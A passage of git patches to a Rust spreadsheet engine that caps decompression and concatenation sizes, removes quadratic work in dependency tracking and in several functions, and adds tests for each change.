[&str; 1] = ["calcchain"]; @@ -117,6 +121,30 @@ fn read_zip_part(zip: &mut Zip<'_>, name: &str) -> Result, String> { Ok(buf) } +enum PartError { + /// Reading the part would spend more than the remaining budget. + OverBudget, + Unreadable, +} + +/// Reads a part like [`read_zip_part`], charging the decompressed bytes to `budget`. +fn read_zip_part_within(zip: &mut Zip<'_>, name: &str, budget: &mut u64) -> Result, PartError> { + let f = zip.by_name(name).map_err(|_| PartError::Unreadable)?; + // One byte past what is left shows that the part doesn't fit. + let limit = MAX_XML_PART.min(budget.saturating_add(1)); + let mut buf = Vec::new(); + // Bytes read before a decompression error still count against the budget. + let res = f.take(limit).read_to_end(&mut buf); + let read = buf.len() as u64; + if read > *budget { + *budget = 0; + return Err(PartError::OverBudget); + } + *budget -= read; + res.map_err(|_| PartError::Unreadable)?; + Ok(buf) +} + /// Whether the producer flagged its cached results as stale with ``: /// libraries that don't calculate write it, and store 0 or nothing as every formula's value. pub(super) fn full_calc_on_load(bytes: &[u8]) -> bool { @@ -232,19 +260,30 @@ pub fn validate_package(bytes: &[u8]) -> Result, String> { /// nothing are left out, as a save may rightly drop them: a link to a place in the workbook /// (`#Sheet1!A1`, written as a cell's `location`) and a target part with nothing in it. pub(super) fn relationship_kinds(bytes: &[u8]) -> Result, String> { + relationship_kinds_within(bytes, RELATIONSHIP_BUDGET) +} + +/// [`relationship_kinds`] reading at most `budget` decompressed bytes. `Err` once the relationship +/// parts alone need more: their kinds can't be listed completely. +fn relationship_kinds_within(bytes: &[u8], mut budget: u64) -> Result, String> { let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).map_err(|e| format!("not a zip package: {e}"))?; let names = zip_names(&mut zip); let by_key: HashMap = names.iter().map(|n| (part_key(n), n)).collect(); // Several relationships name the same part; each fresh check decompressed it again, so // repeated references to one highly compressible part multiplied the work. The verdict is // remembered per (part, named content) and the decompression the package can cause is - // budgeted as a whole (finding: repeated decompression). + // budgeted as a whole, the relationship parts included: many large, unreferenced rels parts + // would otherwise each spend a full per-part allowance. let mut verdicts: HashMap<(String, &'static str), bool> = HashMap::new(); - let mut budget: u64 = 512 * 1024 * 1024; let mut kinds = BTreeMap::new(); for n in names.iter().filter(|n| part_key(n).ends_with(".rels")) { let Some(src_dir) = rels_source_dir(&part_key(n)) else { continue }; - let Ok(els) = read_zip_part(&mut zip, n).and_then(|xml| xml_elements(&xml)) else { continue }; + let xml = match read_zip_part_within(&mut zip, n, &mut budget) { + Ok(xml) => xml, + Err(PartError::OverBudget) => return Err(format!("{n}: relationship check stopped at its decompression limit")), + Err(PartError::Unreadable) => continue, + }; + let Ok(els) = xml_elements(&xml) else { continue }; for (_, attrs) in els.iter().filter(|(el, _)| el == "Relationship") { let Some(kind) = attr(attrs, "Type").and_then(|t| t.rsplit('/').next()) else { continue }; let target = attr(attrs, "Target").unwrap_or(""); @@ -329,3 +368,36 @@ fn holds_something_uncached(zip: &mut Zip<'_>, name: &str, marker: &'static str, buf.clear(); } } + +#[cfg(test)] +mod tests { + use std::io::Write as _; + + use super::*; + + /// A package with `count` relationship parts of `size` bytes each, none of them describing an + /// existing part. + fn many_rels(count: usize, size: usize) -> Vec { + let mut z = zip::ZipWriter::new(Cursor::new(Vec::new())); + let opts = zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Deflated); + let head = r#""#; + let tail = ""; + let filler = " ".repeat(size.saturating_sub(head.len() + tail.len())); + for i in 0..count { + z.start_file(format!("xl/_rels/part{i}.xml.rels"), opts).unwrap(); + z.write_all(head.as_bytes()).unwrap(); + z.write_all(filler.as_bytes()).unwrap(); + z.write_all(tail.as_bytes()).unwrap(); + } + z.finish().unwrap().into_inner() + } + + #[test] + fn relationship_parts_count_against_the_decompression_budget() { + // Each part fits the per-part allowance, but together they need more than the budget. + let bytes = many_rels(8, 64 * 1024); + assert!(relationship_kinds_within(&bytes, 256 * 1024).is_err()); + let kinds = relationship_kinds_within(&bytes, 1024 * 1024).unwrap(); + assert_eq!(kinds.get("custom").map(String::as_str), Some("custom")); + } +} From c0ea297615c8a48f20797e7204541d1cf29dc8bc Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:11 -0500 Subject: [PATCH 07/20] calc: cap the text one & over arrays may build in all (#3189) * calc: cap the text one & over arrays may build in all * address review: concatenation over arrays stops at the byte budget without reserving the whole broadcast --- crates/calc/src/eval/array.rs | 80 ++++++++++++++++++++++++++++++++++- 1 file changed, 79 insertions(+), 1 deletion(-) diff --git a/crates/calc/src/eval/array.rs b/crates/calc/src/eval/array.rs index 67662c83c..39a6e0f53 100644 --- a/crates/calc/src/eval/array.rs +++ b/crates/calc/src/eval/array.rs @@ -86,6 +86,30 @@ pub fn zip2(a: &Value, b: &Value, f: impl Fn(&Value, &Value) -> Value) -> Value } } +/// [`zip2`] that stops at the first cell `f` refuses (`None`), before the rest is built: the +/// result grows as cells are made rather than being reserved for the whole broadcast up front. +fn try_zip2(a: &Value, b: &Value, mut f: impl FnMut(&Value, &Value) -> Option) -> Option { + Some(match (a, b) { + (Value::Array(x), Value::Array(y)) => { + let rows = broadcast_dim(x.rows, y.rows); + let cols = broadcast_dim(x.cols, y.cols); + if broadcast_len(rows, cols).is_none() { + return Some(Value::Error(CellError::Num)); + } + let mut data = Vec::new(); + for r in 0..rows { + for c in 0..cols { + data.push(f(&x.get_broadcast(r, c), &y.get_broadcast(r, c))?); + } + } + Value::from(Array { rows, cols, data }) + } + (Value::Array(x), s) => Value::from(Array { rows: x.rows, cols: x.cols, data: x.data.iter().map(|v| f(v, s)).collect::>()? }), + (s, Value::Array(y)) => Value::from(Array { rows: y.rows, cols: y.cols, data: y.data.iter().map(|v| f(s, v)).collect::>()? }), + (x, y) => f(x, y)?, + }) +} + /// Cell count of a `rows`×`cols` broadcast result, or `None` when it would exceed [`MAX_CELLS`]. /// Each operand passes its own size cap, but their broadcast product can be far larger /// (`SEQUENCE(1048576)*SEQUENCE(1,16384)` is 17 billion cells), so it is checked before allocating. @@ -135,10 +159,36 @@ pub(super) fn single(v: Value) -> Option { } } +/// Text bytes that one `&` over arrays may produce in all. Each piece is capped on its own, but a +/// compact formula can broadcast a long text across millions of cells +/// (`SEQUENCE(4000,4000)&REPT("x",30000)` is 480 GB): past this the whole result is `#NUM!`, the +/// error for a result too large to hold, before the rest is built. +pub(super) const MAX_CONCAT_ARRAY_BYTES: usize = 512 * 1024 * 1024; + pub fn binary_values(op: BinOp, x: &Value, y: &Value, sys: gridcraft_core::DateSystem) -> Value { + if op == BinOp::Concat && (matches!(x, Value::Array(_)) || matches!(y, Value::Array(_))) { + return concat_arrays(x, y, sys, MAX_CONCAT_ARRAY_BYTES); + } zip2(x, y, |a, b| binary_scalar(op, a, b, sys)) } +/// `x & y` with at least one array operand, giving `#NUM!` once the texts built so far pass `budget` +/// bytes. +fn concat_arrays(x: &Value, y: &Value, sys: gridcraft_core::DateSystem, budget: usize) -> Value { + let mut used = 0usize; + try_zip2(x, y, |a, b| { + let v = binary_scalar(BinOp::Concat, a, b, sys); + if let Value::Text(t) = &v { + used = used.saturating_add(t.len()); + if used > budget { + return None; + } + } + Some(v) + }) + .unwrap_or(Value::Error(CellError::Num)) +} + fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSystem) -> Value { if let Value::Error(e) = a { return Value::Error(*e); @@ -187,7 +237,35 @@ fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSyste #[cfg(test)] mod tests { - use super::{MAX_CELLS, broadcast_len}; + use super::{Array, BinOp, CellError, MAX_CELLS, Value, broadcast_len, concat_arrays, try_zip2}; + + /// The broadcast stops at the first refused cell: nothing after it is visited. + #[test] + fn a_refused_cell_stops_the_broadcast() { + let col = Value::from(Array::column((0..4_000).map(|i| Value::number(i as f64)).collect())); + let row = Value::from(Array { rows: 1, cols: 4_000, data: (0..4_000).map(|i| Value::number(i as f64)).collect() }); + let mut calls = 0; + let r = try_zip2(&col, &row, |a, _| { + calls += 1; + (calls <= 10).then(|| a.clone()) + }); + assert_eq!((r, calls), (None, 11)); + } + + #[test] + fn concatenating_arrays_stops_at_the_byte_budget() { + let sys = gridcraft_core::DateSystem::default(); + let col = Value::from(Array::column((0..100).map(|i| Value::number(i as f64)).collect())); + let long = Value::text("x".repeat(100)); + // 100 cells of 101 or 102 bytes each: about 10 KB in all. + let r = concat_arrays(&col, &long, sys, 20_000); + assert!(matches!(&r, Value::Array(a) if a.data.len() == 100), "{r:?}"); + assert_eq!(concat_arrays(&col, &long, sys, 5_000), Value::Error(CellError::Num)); + assert_eq!(concat_arrays(&long, &col, sys, 5_000), Value::Error(CellError::Num)); + // Through the operator, a small result is unaffected. + let r = super::binary_values(BinOp::Concat, &col, &Value::text("a"), sys); + assert!(matches!(&r, Value::Array(a) if a.data.first() == Some(&Value::text("0a"))), "{r:?}"); + } #[test] fn broadcast_len_caps_at_max_cells() { From db05400e67aed3831e5368a4991a12bfe3110be6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:29 -0500 Subject: [PATCH 08/20] calc: list each dependent once when a change spreads (#3190) * calc: list each dependent once when a change spreads * calc: check the dependency closure against a walk of every cell Random graphs of single-cell, narrow and wide range reads (some removed or unsettled), random seeds and changed areas: the closure with shared taken records and area lookups equals the one listing every dependent of every changed cell. --- crates/calc/src/recalc.rs | 192 +++++++++++++++++++++++++++++--- crates/calc/src/recalc/graph.rs | 81 ++++++++++++++ 2 files changed, 259 insertions(+), 14 deletions(-) diff --git a/crates/calc/src/recalc.rs b/crates/calc/src/recalc.rs index 63ac533de..160e0d60d 100644 --- a/crates/calc/src/recalc.rs +++ b/crates/calc/src/recalc.rs @@ -24,7 +24,7 @@ mod pass_host; #[cfg(test)] use graph::Intervals; pub use graph::{FxHasher, Graph, Key}; -use graph::{HashMap, HashSet, Node}; +use graph::{HashMap, HashSet, Node, Taken}; use pass_host::{PassHost, spills_as_before}; /// Calculation state kept beside a workbook. @@ -292,17 +292,16 @@ impl Calc { } } } - // Spill areas of changed anchors also change. + // Spill areas of changed anchors also change. They stay rectangles: one seed per spilled + // cell listed the formulas reading the area once per cell. + let mut areas: Vec<(usize, RangeRef)> = cleared; for &k in changed { if let Some(r) = wb.sheet(k.0).and_then(|s| s.spill_ranges.get(&k.1)) { - seeds.extend(r.iter().map(|c| (k.0, c))); + areas.push((k.0, *r)); } } - for (si, r) in &cleared { - seeds.extend(r.iter().map(|c| (*si, c))); - } let t0 = prof_now(); - let dirty = self.dirty_closure(wb, &seeds); + let dirty = self.dirty_closure(wb, &seeds, &areas); let t1 = prof_now(); let n = dirty.len(); self.run(wb, dirty, false); @@ -311,16 +310,39 @@ impl Calc { } } - fn dirty_closure(&self, _wb: &Workbook, seeds: &[Key]) -> Vec { + /// The formulas to recalculate after `seeds` and every cell of `areas` changed: the seeds + /// that are formulas, and everything that reads them, directly or through other formulas. + fn dirty_closure(&self, wb: &Workbook, seeds: &[Key], areas: &[(usize, RangeRef)]) -> Vec { let mut seen: HashSet = HashSet::default(); let mut queue: VecDeque = VecDeque::new(); + // Each range-index entry is listed once in the whole walk: many changed cells under one + // broad reference (or many formulas inside one) would otherwise list every formula reading + // it once per cell, which squared the work. + let mut taken = Taken::default(); + let mut deps = Vec::new(); for k in seeds { if self.graph.nodes.contains_key(k) && seen.insert(*k) { queue.push_back(*k); } - let mut deps = Vec::new(); - self.graph.dependents(k.0, k.1, &mut deps); - for d in deps { + deps.clear(); + self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps); + for d in deps.drain(..) { + if seen.insert(d) { + queue.push_back(d); + } + } + } + for &(si, r) in areas { + if let Some(sh) = wb.sheet(si) { + for (c, _) in sh.cells.iter_range(r) { + if self.graph.nodes.contains_key(&(si, c)) && seen.insert((si, c)) { + queue.push_back((si, c)); + } + } + } + deps.clear(); + self.graph.dependents_of_range(si, r, &mut deps); + for d in deps.drain(..) { if seen.insert(d) { queue.push_back(d); } @@ -331,10 +353,9 @@ impl Calc { queue.push_back(*k); } } - let mut deps = Vec::new(); while let Some(k) = queue.pop_front() { deps.clear(); - self.graph.dependents(k.0, k.1, &mut deps); + self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps); for d in deps.drain(..) { if seen.insert(d) { queue.push_back(d); @@ -411,7 +432,7 @@ impl Calc { if spill_changes.is_empty() { break; } - dirty = self.dirty_closure(wb, &spill_changes); + dirty = self.dirty_closure(wb, &spill_changes, &[]); } // Loops among formulas the run did not evaluate stay listed while they are still formulas. // Iterative calculation reports none. @@ -691,6 +712,149 @@ pub(crate) mod tests { assert!(visited < 64, "visited {visited} nodes for no match"); } + #[test] + fn untaken_queries_list_each_interval_once_in_all() { + // 1,000 ranges over every row of 5,000: point queries at every row used to list all 1,000 + // each time (5 million matches); sharing `taken`, each range is listed once in all. + let n = 5_000u32; + let mut iv: Intervals = Intervals::default(); + for t in 0..1_000 { + iv.insert(0, n, t); + } + for r in 0..n { + iv.insert(r, r, 10_000 + r); + } + iv.settle(); + let mut taken = Vec::new(); + let mut listed = Vec::new(); + for row in 0..=n + 3 { + iv.query_untaken(row, row, &mut taken, &mut |t| { + listed.push(*t); + true + }); + } + listed.sort_unstable(); + let want: Vec = (0..1_000).chain(10_000..10_000 + n).collect(); + assert_eq!(listed, want); + // An entry the caller declines is offered again. + let mut taken = Vec::new(); + let mut offered = 0; + for _ in 0..3 { + iv.query_untaken(7, 7, &mut taken, &mut |t| { + if *t == 10_007 { + offered += 1; + } + *t != 10_007 + }); + } + assert_eq!(offered, 3); + } + + #[test] + fn dirty_closure_matches_a_walk_of_every_cell() { + // Random formulas over single cells, narrow ranges and wide (over 64 columns) ranges, some + // removed or left unsettled: the closure equals the one found by listing every dependent + // of every changed cell, area cells included, as before `taken` and areas existed. + use super::{HashSet, Node}; + use crate::eval::Area; + use std::collections::VecDeque; + let mut s = 0x2545_F491_4F6C_DD1D; + for case in 0..40 { + let mut wb = Workbook::new(); + let mut calc = Calc::new(); + let pick = |s: &mut u64, n: u64| (rng(s) % n) as u32; + let mut keys: Vec = Vec::new(); + for _ in 0..300 { + let k = (0, CellRef::new(pick(&mut s, 120), pick(&mut s, 150))); + let mut areas = Vec::new(); + for _ in 0..1 + pick(&mut s, 3) { + let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150)); + let end = match pick(&mut s, 3) { + 0 => start, + 1 => CellRef::new(start.row + pick(&mut s, 40), start.col + pick(&mut s, 5)), + _ => CellRef::new(start.row + pick(&mut s, 20), start.col + 65 + pick(&mut s, 30)), + }; + areas.push(Area { sheet: 0, range: RangeRef::new(start, end) }); + } + if let Some(sh) = wb.sheet_mut(0) { + sh.cells.set(k.1, Cell::formula(Formula::new("=1"))); + } + calc.graph.insert(k, Node { areas, dynamic: false }); + keys.push(k); + if rng(&mut s).is_multiple_of(7) { + calc.graph.settle(); + } + } + for _ in 0..30 { + let k = keys[(rng(&mut s) % keys.len() as u64) as usize]; + calc.graph.remove(k); + if let Some(sh) = wb.sheet_mut(0) { + sh.cells.remove(k.1); + } + } + if case % 2 == 0 { + calc.graph.settle(); + } + let seeds: Vec = (0..1 + pick(&mut s, 25)).map(|_| (0, CellRef::new(pick(&mut s, 140), pick(&mut s, 220)))).collect(); + let areas: Vec<(usize, RangeRef)> = (0..pick(&mut s, 3)) + .map(|_| { + let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150)); + (0, RangeRef::new(start, CellRef::new(start.row + pick(&mut s, 30), start.col + pick(&mut s, 80)))) + }) + .collect(); + let got: HashSet = calc.dirty_closure(&wb, &seeds, &areas).into_iter().collect(); + // The walk before: every area cell is a seed, and every cell lists all its dependents. + let mut all = seeds.clone(); + for (si, r) in &areas { + all.extend(r.iter().map(|c| (*si, c))); + } + let mut want: HashSet = HashSet::default(); + let mut queue: VecDeque = VecDeque::new(); + let mut deps = Vec::new(); + for k in &all { + if calc.graph.nodes.contains_key(k) && want.insert(*k) { + queue.push_back(*k); + } + deps.clear(); + calc.graph.dependents(k.0, k.1, &mut deps); + queue.extend(deps.iter().copied().filter(|d| want.insert(*d))); + } + while let Some(k) = queue.pop_front() { + deps.clear(); + calc.graph.dependents(k.0, k.1, &mut deps); + queue.extend(deps.iter().copied().filter(|d| want.insert(*d))); + } + assert_eq!(got, want, "case {case}"); + } + } + + #[test] + fn clearing_a_spill_recalculates_formulas_reading_it_once_each() { + // 300 formulas read the area an anchor spills into; clearing the anchor changes all of it + // and every one of them is recalculated (they were listed once per spilled cell). + let mut wb = Workbook::new(); + let mut calc = Calc::new(); + let set = |wb: &mut Workbook, calc: &mut Calc, at: CellRef, input: &str| { + if let Some(sh) = wb.sheet_mut(0) { + if input.is_empty() { + sh.cells.remove(at); + } else { + sh.cells.set(at, Cell::formula(Formula::new(input))); + } + } + calc.cells_changed(wb, &[(0, at)]); + }; + set(&mut wb, &mut calc, CellRef::new(0, 0), "=SEQUENCE(2000)"); + for r in 0..300 { + set(&mut wb, &mut calc, CellRef::new(r, 2), "=COUNT(A1:A2000)"); + } + assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(299, 2))), Some(Value::Number(2000.0))); + set(&mut wb, &mut calc, CellRef::new(0, 0), ""); + for r in 0..300 { + assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(r, 2))), Some(Value::Number(0.0)), "row {r}"); + } + } + /// `rows` rows of six numbers (E:J) and `=SUM(E{r}:J{r})` in K. fn sum_rows(rows: u32) -> Workbook { let mut wb = Workbook::new(); diff --git a/crates/calc/src/recalc/graph.rs b/crates/calc/src/recalc/graph.rs index ab034f8cc..f8a100eb3 100644 --- a/crates/calc/src/recalc/graph.rs +++ b/crates/calc/src/recalc/graph.rs @@ -151,6 +151,54 @@ impl Intervals { self.walk(1, 0, self.max_end.len() / 2, p, a, f) } + /// [`Intervals::query`] that skips entries an earlier call with the same `taken` already + /// took (and whole subtrees of them), so that a series of queries lists each interval once in + /// all. `f` answers whether it took the entry; one it declines is offered again later. + /// `taken` belongs to this index as it is now; start it empty. Pending insertions (a few at + /// most after [`Intervals::settle`]) are offered every time. + pub(super) fn query_untaken(&self, a: u32, b: u32, taken: &mut Vec, f: &mut dyn FnMut(&T) -> bool) { + for it in &self.pending { + if it.0 <= b && it.1 >= a { + f(&it.2); + } + } + let p = self.items.partition_point(|it| it.0 <= b); + if p == 0 { + return; + } + if taken.len() != self.max_end.len() { + *taken = vec![false; self.max_end.len()]; + } + self.walk_untaken(1, 0, self.max_end.len() / 2, p, a, taken, f); + } + + /// Returns whether everything under `node` has now been reported (or is dead). + #[allow(clippy::too_many_arguments)] + fn walk_untaken(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, taken: &mut [bool], f: &mut dyn FnMut(&T) -> bool) -> bool { + if taken.get(node).copied().unwrap_or(true) { + return true; + } + if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) { + return false; + } + let done = if hi - lo <= 1 { + match (self.items.get(lo), self.dead.get(lo)) { + (Some(it), Some(false)) if it.1 >= a => f(&it.2), + (Some(_), Some(true)) => true, + _ => false, + } + } else { + let mid = lo + (hi - lo) / 2; + let left = self.walk_untaken(2 * node, lo, mid, p, a, taken, f); + let right = self.walk_untaken(2 * node + 1, mid, hi, p, a, taken, f); + left && right + }; + if done && let Some(slot) = taken.get_mut(node) { + *slot = true; + } + done + } + fn walk(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, f: &mut dyn FnMut(&T)) -> usize { if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) { return 1; @@ -168,6 +216,13 @@ impl Intervals { } } +/// Range-index entries one dependency walk has already listed (see [`Graph::dependents_untaken`]). +#[derive(Default)] +pub(super) struct Taken { + cols: HashMap<(usize, u32), Vec>, + wide: HashMap>, +} + #[derive(Clone, Debug, Default)] pub struct Graph { pub(super) nodes: HashMap, @@ -302,6 +357,32 @@ impl Graph { } } + /// [`Graph::dependents`] leaving out the formulas whose range reads an earlier call with the + /// same `taken` already listed. A walk over many changed cells that a few broad ranges cover + /// then lists those formulas once, instead of once per cell (which squared the work). The + /// graph must not change while `taken` is in use. + pub(super) fn dependents_untaken(&self, sheet: usize, c: CellRef, taken: &mut Taken, out: &mut Vec) { + if let Some(v) = self.cell_deps.get(&(sheet, c)) { + out.extend(v.iter().copied()); + } + if let Some(v) = self.col_deps.get(&(sheet, c.col)) { + v.query_untaken(c.row, c.row, taken.cols.entry((sheet, c.col)).or_default(), &mut |k| { + out.push(*k); + true + }); + } + if let Some(v) = self.wide_deps.get(&sheet) { + // A wide entry is taken once it covers the cell's column too. + v.query_untaken(c.row, c.row, taken.wide.entry(sheet).or_default(), &mut |(c0, c1, k)| { + let hit = *c0 <= c.col && c.col <= *c1; + if hit { + out.push(*k); + } + hit + }); + } + } + /// Formulas that read any cell of `range` (a formula can be listed more than once). pub fn dependents_of_range(&self, sheet: usize, range: RangeRef, out: &mut Vec) { if range.count() <= 4096 { From 065f05dbeccd98c6bca8f69fcdff9132d96fd732 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:58 -0500 Subject: [PATCH 09/20] Security: MODE counts through an index, FREQUENCY bins by binary search (#3198) * functions: MODE counts through an index, FREQUENCY bins by binary search MODE/MODE.SNGL/MODE.MULT searched the list of distinct numbers seen so far for every input, and FREQUENCY scanned the sorted bins for every data value, so both were quadratic in computed arrays. MODE now keys counts by value (-0 folded into 0, NaN never merged) and keeps first-occurrence order; FREQUENCY finds the first bin at or above each value with partition_point over the order it already sorts. Results are unchanged. * address review: FREQUENCY keeps NaN data in the overflow bin and NaN bins empty --- crates/functions/src/stat/descriptive.rs | 29 ++++++++++++++++++++---- crates/functions/src/stat/tests.rs | 20 ++++++++++++++++ 2 files changed, 44 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/stat/descriptive.rs b/crates/functions/src/stat/descriptive.rs index f4e4b0160..c862e7605 100644 --- a/crates/functions/src/stat/descriptive.rs +++ b/crates/functions/src/stat/descriptive.rs @@ -50,12 +50,27 @@ pub(super) fn median(v: Vec) -> R { /// Values occurring at least twice, ordered by first occurrence, with their (equal, maximal) count. fn modes(v: &[f64]) -> Vec { + // Index of each distinct number in `counts`, so counting is linear rather than a search of + // every distinct number so far. Keyed by bits with -0 folded into 0 (they compare equal); NaN + // never equals anything, so it is never merged. + let mut index: std::collections::HashMap = std::collections::HashMap::new(); let mut counts: Vec<(f64, usize)> = Vec::new(); for &x in v { - if let Some(e) = counts.iter_mut().find(|e| e.0 == x) { - e.1 += 1; - } else { + if x.is_nan() { counts.push((x, 1)); + continue; + } + let key = if x == 0.0 { 0 } else { x.to_bits() }; + match index.entry(key) { + std::collections::hash_map::Entry::Occupied(e) => { + if let Some(c) = counts.get_mut(*e.get()) { + c.1 += 1; + } + } + std::collections::hash_map::Entry::Vacant(e) => { + e.insert(counts.len()); + counts.push((x, 1)); + } } } let best = counts.iter().map(|e| e.1).max().unwrap_or(0); @@ -451,11 +466,15 @@ pub(super) fn frequency(a: &[Arg], _: C) -> R { if bins.is_empty() { return col_value(vec![data.len() as f64]); } - let mut order: Vec = (0..bins.len()).collect(); + // a NaN bin equals no value (and would break the ascending order searched below) + let mut order: Vec = (0..bins.len()).filter(|&i| bins.get(i).is_some_and(|b| !b.is_nan())).collect(); order.sort_by(|&i, &j| bins.get(i).copied().unwrap_or(0.0).total_cmp(&bins.get(j).copied().unwrap_or(0.0))); let mut counts = vec![0.0; bins.len() + 1]; for x in data { - let slot = order.iter().find(|&&i| x <= bins.get(i).copied().unwrap_or(f64::INFINITY)).copied().unwrap_or(bins.len()); + // `order` sorts the bins ascending, so the bins `x` exceeds come first: binary search for + // the first bin at or above `x` (the first of equal bins, as a linear scan would find). + let pos = if x.is_nan() { order.len() } else { order.partition_point(|&i| bins.get(i).copied().unwrap_or(f64::INFINITY) < x) }; + let slot = order.get(pos).copied().unwrap_or(bins.len()); if let Some(c) = counts.get_mut(slot) { *c += 1.0; } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index ba59116cd..efadca8c3 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -617,3 +617,23 @@ fn aggregate_helper() { close(aggregate_values_k(9, &vals, &nv(2.0)), 9.0); is_err(aggregate_values_k(14, &vals, &nv(10.0)), CellError::Num); } + +/// Security: FREQUENCY finds each value's bin by binary search, and MODE counts distinct numbers +/// through an index, so neither is quadratic in its inputs. Results are as before: unsorted and +/// duplicate bins keep their positions (a value goes to the first of equal bins), and tied modes +/// come in first-occurrence order. +#[test] +fn frequency_and_mode_scale_with_their_inputs() { + let f = ev("FREQUENCY", vec![c(&[1.0, 2.0, 2.0, 3.0, 5.0, 9.0, -1.0]), c(&[3.0, 2.0, 2.0, 0.0])]); + assert_eq!(rows_of(&f), vec![vec![nv(1.0)], vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]); + // NaN data goes to the overflow bin, and a NaN bin takes nothing + let f = ev("FREQUENCY", vec![c(&[f64::NAN, 0.5, 2.0]), c(&[f64::NAN, 1.0])]); + assert_eq!(rows_of(&f), vec![vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]); + let data: Vec = (0..200_000).map(|i| f64::from(i) + 1e6).collect(); + let bins: Vec = (0..200_000).map(f64::from).collect(); + let f = ev("FREQUENCY", vec![c(&data), c(&bins)]); + assert_eq!(rows_of(&f).last(), Some(&vec![nv(200_000.0)])); + let distinct = ev("MODE", vec![c(&data)]); + is_err(distinct, CellError::NA); + assert_eq!(rows_of(&ev("MODE.MULT", vec![c(&[3.0, 0.0, 1.0, -0.0, 3.0, 1.0])])), vec![vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)]]); +} From 184c0ec84d640e70e803c3c537c8bf840606e860 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:52:28 -0500 Subject: [PATCH 10/20] ods: charge a cell's text when the cell is read, not when its row ends (#3257) The importer kept every cell of a row and only charged their text to the 64 MiB allowance when the row finished, so one row of long cells could hold up to 16,384 MiB before being refused. Text is now charged as each cell finishes; the row charges only its repeats. --- crates/xlsx/src/ods.rs | 11 ++++++++++- crates/xlsx/src/tests/ods_tests.rs | 12 ++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/crates/xlsx/src/ods.rs b/crates/xlsx/src/ods.rs index 9b7f0743b..b64930211 100644 --- a/crates/xlsx/src/ods.rs +++ b/crates/xlsx/src/ods.rs @@ -470,6 +470,14 @@ impl Import { None => return Err(IoError::TooLarge("ODS row exceeds worksheet width".into())), }; if kept { + // Charge the text a row keeps before the row is done, so a row of many long cells is + // refused as it grows; finish_row charges the row's repeats beyond the first. + if let Value::Text(t) = &cell.value { + self.text = self.text.saturating_add(u64::from(draft.repeat).saturating_mul(t.len() as u64)); + if self.text > MAX_TEXT { + return Err(IoError::TooLarge("ODS expands beyond the import limit (64 MiB of text)".into())); + } + } row.cells.push(RepeatedCell { col: row.col, repeat: draft.repeat, width, height, cell }); } row.col = end; @@ -537,7 +545,8 @@ impl Import { if !entry.cell.is_blank() { self.cells = self.cells.saturating_add(count); if let Value::Text(t) = &entry.cell.value { - self.text = self.text.saturating_add(count.saturating_mul(t.len() as u64)); + let repeats = count.saturating_sub(u64::from(entry.repeat)); + self.text = self.text.saturating_add(repeats.saturating_mul(t.len() as u64)); } } let merged = entry.width > 1 || entry.height > 1; diff --git a/crates/xlsx/src/tests/ods_tests.rs b/crates/xlsx/src/tests/ods_tests.rs index 47c258657..bac55efeb 100644 --- a/crates/xlsx/src/tests/ods_tests.rs +++ b/crates/xlsx/src/tests/ods_tests.rs @@ -200,6 +200,18 @@ fn ods_expansion_bounds_stop_small_repeat_bombs() { "x".repeat(1024) ); assert!(matches!(read_ods(&ods(&text)), Err(IoError::TooLarge(_)))); + // One row of cells each just under the 1 MiB cell limit, past 64 MiB in all: refused while + // the row is read, before it holds them all. The row's end is never reached. + let long = format!(r#""#, "x".repeat(1024 * 1024 - 1)); + let cells = ods(&format!(r#"{}"#, long.repeat(65))); + assert!(matches!(read_ods(&cells), Err(IoError::TooLarge(_)))); + // A row repeated once more than its cells' text allows is refused too, and one that fits reads. + let cell = format!(r#""#, "y".repeat(1024)); + let rows = |n: u32| { + ods(&format!(r#"{cell}"#)) + }; + assert!(read_ods(&rows(65_536)).is_ok()); + assert!(matches!(read_ods(&rows(65_537)), Err(IoError::TooLarge(_)))); } #[test] From a31178f5194ebb538af2728b8621c202d9a971ad Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:53:18 -0500 Subject: [PATCH 11/20] functions: NUMBERVALUE strips trailing percent signs in one pass (#3262) Each trailing % copied the rest of the text again, so a long run of them made one call quadratic. The signs are now counted and cut off in place. --- crates/functions/src/text.rs | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index 7f1ba8731..bf4d51d22 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -339,11 +339,11 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R { if body.is_empty() { return num_val(0.0); } - let mut pct = 0; - while let Some(b) = body.strip_suffix('%') { - body = b.to_string(); - pct += 1; - } + // Count the trailing percent signs and cut them off in place: copying the rest once per sign + // made a long run of them quadratic. + let kept = body.trim_end_matches('%').len(); + let pct = body.len() - kept; + body.truncate(kept); let mut seen_dec = false; let mut out = String::new(); for c in body.chars() { @@ -1084,6 +1084,15 